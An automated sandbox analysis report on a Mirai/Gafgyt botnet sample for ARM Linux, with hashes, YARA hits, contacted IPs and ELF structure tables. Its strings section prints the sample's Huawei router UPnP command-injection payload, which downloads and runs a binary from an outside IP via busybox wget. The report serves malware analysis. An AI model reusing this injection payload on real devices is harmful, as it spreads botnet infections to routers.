Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
r41xp4rOln.elf

Overview

General Information

Sample Name:r41xp4rOln.elf
Original Sample Name:b4a329fd91d515cb3244886b5272503d.elf
Analysis ID:830737
MD5:b4a329fd91d515cb3244886b5272503d
SHA1:e403940645e7292328eb6b9a7f47c25b08dc228d
SHA256:de5e60ab541838c4c3cb0bfd0733417f2fe4a19bac08683391022cdaabe263de
Tags:32armelfmirai
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Malicious sample detected (through community Yara rule)
Yara detected Mirai
Multi AV Scanner detection for submitted file
Yara signature match
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.
All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.
Non-zero exit code suggests an error during the execution. Lookup the error code for hints.
Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.
Joe Sandbox Version:37.0.0 Beryl
Analysis ID:830737
Start date and time:2023-03-20 16:47:30 +01:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 6m 53s
Hypervisor based Inspection enabled:false
Report type:light
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample file name:r41xp4rOln.elf
Original Sample Name:b4a329fd91d515cb3244886b5272503d.elf
Detection:MAL
Classification:mal64.troj.linELF@0/0@0/0
Command:/tmp/r41xp4rOln.elf
PID:6224
Exit Code:255
Exit Code Info:
Killed:False
Standard Output:

Standard Error:/lib/ld-uClibc.so.0: No such file or directory
  • system is lnxubuntu20
  • r41xp4rOln.elf (PID: 6224, Parent: 6120, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/r41xp4rOln.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
r41xp4rOln.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    r41xp4rOln.elfLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
    • 0x8cf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8d08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8d1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8d30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8d44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8d58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8d6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8d80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8d94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8da8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8dbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8dd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8de4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8df8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8e0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8e20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8e34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8e48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8e5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8e70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8e84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    SourceRuleDescriptionAuthorStrings
    6224.1.00007f28d8028000.00007f28d8029000.rw-.sdmpLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
    • 0x0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0x8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0xa0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0xb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    • 0xc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
    6224.1.00007f28d8017000.00007f28d8021000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      6224.1.00007f28d8017000.00007f28d8021000.r-x.sdmpLinux_Trojan_Gafgyt_28a2fe0cunknownunknown
      • 0x8cf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8d08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8d1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8d30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8d44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8d58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8d6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8d80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8d94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8da8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8dbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8dd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8de4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8df8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8e0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8e20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8e34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8e48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8e5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8e70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x8e84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      Process Memory Space: r41xp4rOln.elf PID: 6224Linux_Trojan_Gafgyt_28a2fe0cunknownunknown
      • 0x1141e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11432:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11446:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x1145a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x1146e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11482:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x11496:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x114aa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x114be:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x114d2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x114e6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12bcb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12bdf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12bf3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12c07:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12c1b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12c2f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12c43:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12c57:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12c6b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      • 0x12c7f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
      No Snort rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: r41xp4rOln.elfReversingLabs: Detection: 58%
      Source: r41xp4rOln.elfVirustotal: Detection: 62%Perma Link
      Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
      Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
      Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
      Source: global trafficTCP traffic: 192.168.2.23:51628 -> 103.161.181.97:56999
      Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 103.161.181.97
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: r41xp4rOln.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
      Source: r41xp4rOln.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

      System Summary

      barindex
      Source: r41xp4rOln.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 6224.1.00007f28d8028000.00007f28d8029000.rw-.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: 6224.1.00007f28d8017000.00007f28d8021000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: Process Memory Space: r41xp4rOln.elf PID: 6224, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
      Source: r41xp4rOln.elf, type: SAMPLEMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: 6224.1.00007f28d8028000.00007f28d8029000.rw-.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: 6224.1.00007f28d8017000.00007f28d8021000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: Process Memory Space: r41xp4rOln.elf PID: 6224, type: MEMORYSTRMatched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: Initial sampleString containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
      Source: Initial sampleString containing 'busybox' found: bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdH
      Source: classification engineClassification label: mal64.troj.linELF@0/0@0/0
      Source: /tmp/r41xp4rOln.elf (PID: 6224)Queries kernel information via 'uname':
      Source: r41xp4rOln.elf, 6224.1.00007ffdd0b85000.00007ffdd0ba6000.rw-.sdmpBinary or memory string: ~x86_64/usr/bin/qemu-arm/tmp/r41xp4rOln.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/r41xp4rOln.elf
      Source: r41xp4rOln.elf, 6224.1.00007ffdd0b85000.00007ffdd0ba6000.rw-.sdmpBinary or memory string: qemu: %s: %s
      Source: r41xp4rOln.elf, 6224.1.00007ffdd0b85000.00007ffdd0ba6000.rw-.sdmpBinary or memory string: leqemu: %s: %s
      Source: r41xp4rOln.elf, 6224.1.00005633b74e4000.00005633b7612000.rw-.sdmpBinary or memory string: 3V!/etc/qemu-binfmt/arm
      Source: r41xp4rOln.elf, 6224.1.00005633b74e4000.00005633b7612000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
      Source: r41xp4rOln.elf, 6224.1.00007ffdd0b85000.00007ffdd0ba6000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
      Source: r41xp4rOln.elf, 6224.1.00005633b74e4000.00005633b7612000.rw-.sdmpBinary or memory string: rg.qemu.gdb.arm.sys.regs">
      Source: r41xp4rOln.elf, 6224.1.00005633b74e4000.00005633b7612000.rw-.sdmpBinary or memory string: 3Vrg.qemu.gdb.arm.sys.regs">

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: r41xp4rOln.elf, type: SAMPLE
      Source: Yara matchFile source: 6224.1.00007f28d8017000.00007f28d8021000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: r41xp4rOln.elf, type: SAMPLE
      Source: Yara matchFile source: 6224.1.00007f28d8017000.00007f28d8021000.r-x.sdmp, type: MEMORY
      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local SystemExfiltration Over Other Network Medium1
      Encrypted Channel
      Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
      Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth1
      Non-Standard Port
      Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration1
      Application Layer Protocol
      Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      SourceDetectionScannerLabelLink
      r41xp4rOln.elf59%ReversingLabsLinux.Trojan.Mirai
      r41xp4rOln.elf62%VirustotalBrowse
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http://schemas.xmlsoap.org/soap/encoding/r41xp4rOln.elffalse
        high
        http://schemas.xmlsoap.org/soap/envelope/r41xp4rOln.elffalse
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          109.202.202.202
          unknownSwitzerland
          13030INIT7CHfalse
          91.189.91.43
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          103.161.181.97
          unknownunknown
          7575AARNET-AS-APAustralianAcademicandResearchNetworkAARNefalse
          91.189.91.42
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          No context
          No context
          No context
          No context
          No context
          No created / dropped files found
          File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
          Entropy (8bit):6.078323327143867
          TrID:
          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
          File name:r41xp4rOln.elf
          File size:40744
          MD5:b4a329fd91d515cb3244886b5272503d
          SHA1:e403940645e7292328eb6b9a7f47c25b08dc228d
          SHA256:de5e60ab541838c4c3cb0bfd0733417f2fe4a19bac08683391022cdaabe263de
          SHA512:ed95c79d0c060f407277c4a346a5d27a1d1d86573410919a14bc762e64c6298c5f19077a539f5f07fb7715d25e235b56cb84277dccff437758ca773347f45e29
          SSDEEP:768:MglA4CbIsG5f0OhnlUl0O9FRA1wArb9/3W5uv+bdLdUZXoTZJ/NbwW:MyabXG5fDlUlXjwVe4v+wZIqW
          TLSH:CC03F751B8829A77C2E1137ABA6E5A8D337163E9C2CF7217DD214B20BAD511F0D23F85
          File Content Preview:.ELF...a..........(.........4...X.......4. ...(.........4...4...4...................................................................0...0...............4...4...4.......................H...H...H...................Q.td............................/lib/ld-uCl

          ELF header

          Class:
          Data:
          Version:
          Machine:
          Version Number:
          Type:
          OS/ABI:
          ABI Version:
          Entry Point Address:
          Flags:
          ELF Header Size:
          Program Header Offset:
          Program Header Size:
          Number of Program Headers:
          Section Header Offset:
          Section Header Size:
          Number of Section Headers:
          Header String Table Index:
          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
          NULL0x00x00x00x00x0000
          .interpPROGBITS0x80f40xf40x140x00x2A001
          .hashHASH0x81080x1080x2340x40x2A304
          .dynsymDYNSYM0x833c0x33c0x4800x100x2A414
          .dynstrSTRTAB0x87bc0x7bc0x2300x00x2A001
          .rel.pltREL0x89ec0x9ec0x1a00x80x2A374
          .initPROGBITS0x8b8c0xb8c0x180x00x6AX004
          .pltPROGBITS0x8ba40xba40x2840x40x6AX004
          .textPROGBITS0x8e280xe280x7ddc0x00x6AX004
          .finiPROGBITS0x10c040x8c040x140x00x6AX004
          .rodataPROGBITS0x10c180x8c180xe180x00x2A004
          .ctorsPROGBITS0x19a340x9a340x80x00x3WA004
          .dtorsPROGBITS0x19a3c0x9a3c0x80x00x3WA004
          .dynamicDYNAMIC0x19a480x9a480x980x80x3WA404
          .gotPROGBITS0x19ae00x9ae00xdc0x40x3WA004
          .dataPROGBITS0x19bbc0x9bbc0x280x00x3WA004
          .bssNOBITS0x19be40x9be40x1240x00x3WA004
          .shstrtabSTRTAB0x00x9be40x730x00x0001
          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
          PHDR0x340x80340x80340xc00xc02.24010x5R E0x4
          INTERP0xf40x80f40x80f40x140x143.68420x4R 0x1/lib/ld-uClibc.so.0.interp
          LOAD0x00x80000x80000x9a300x9a306.12480x5R E0x8000.interp .hash .dynsym .dynstr .rel.plt .init .plt .text .fini .rodata
          LOAD0x9a340x19a340x19a340x1b00x2d42.31680x6RW 0x8000.ctors .dtors .dynamic .got .data .bss
          DYNAMIC0x9a480x19a480x19a480x980x981.89840x6RW 0x4.dynamic
          GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
          TypeMetaValueTag
          DT_NEEDEDsharedliblibc.so.00x1
          DT_INITvalue0x8b8c0xc
          DT_FINIvalue0x10c040xd
          DT_HASHvalue0x81080x4
          DT_STRTABvalue0x87bc0x5
          DT_SYMTABvalue0x833c0x6
          DT_STRSZbytes5600xa
          DT_SYMENTbytes160xb
          DT_DEBUGvalue0x00x15
          DT_PLTGOTvalue0x19ae00x3
          DT_PLTRELSZbytes4160x2
          DT_PLTRELpltrelDT_REL0x14
          DT_JMPRELvalue0x89ec0x17
          DT_NULLvalue0x00x0
          NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
          .dynsym0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          __aeabi_idiv0.dynsym0x10b744FUNC<unknown>DEFAULT8
          __aeabi_ldiv0.dynsym0x10b744FUNC<unknown>DEFAULT8
          __aeabi_uidiv.dynsym0x108b40FUNC<unknown>DEFAULT8
          __aeabi_uidivmod.dynsym0x109ac24FUNC<unknown>DEFAULT8
          __bss_end__.dynsym0x19d080NOTYPE<unknown>DEFAULTSHN_ABS
          __bss_start.dynsym0x19be40NOTYPE<unknown>DEFAULTSHN_ABS
          __bss_start__.dynsym0x19be40NOTYPE<unknown>DEFAULTSHN_ABS
          __data_start.dynsym0x19bbc0NOTYPE<unknown>DEFAULT17
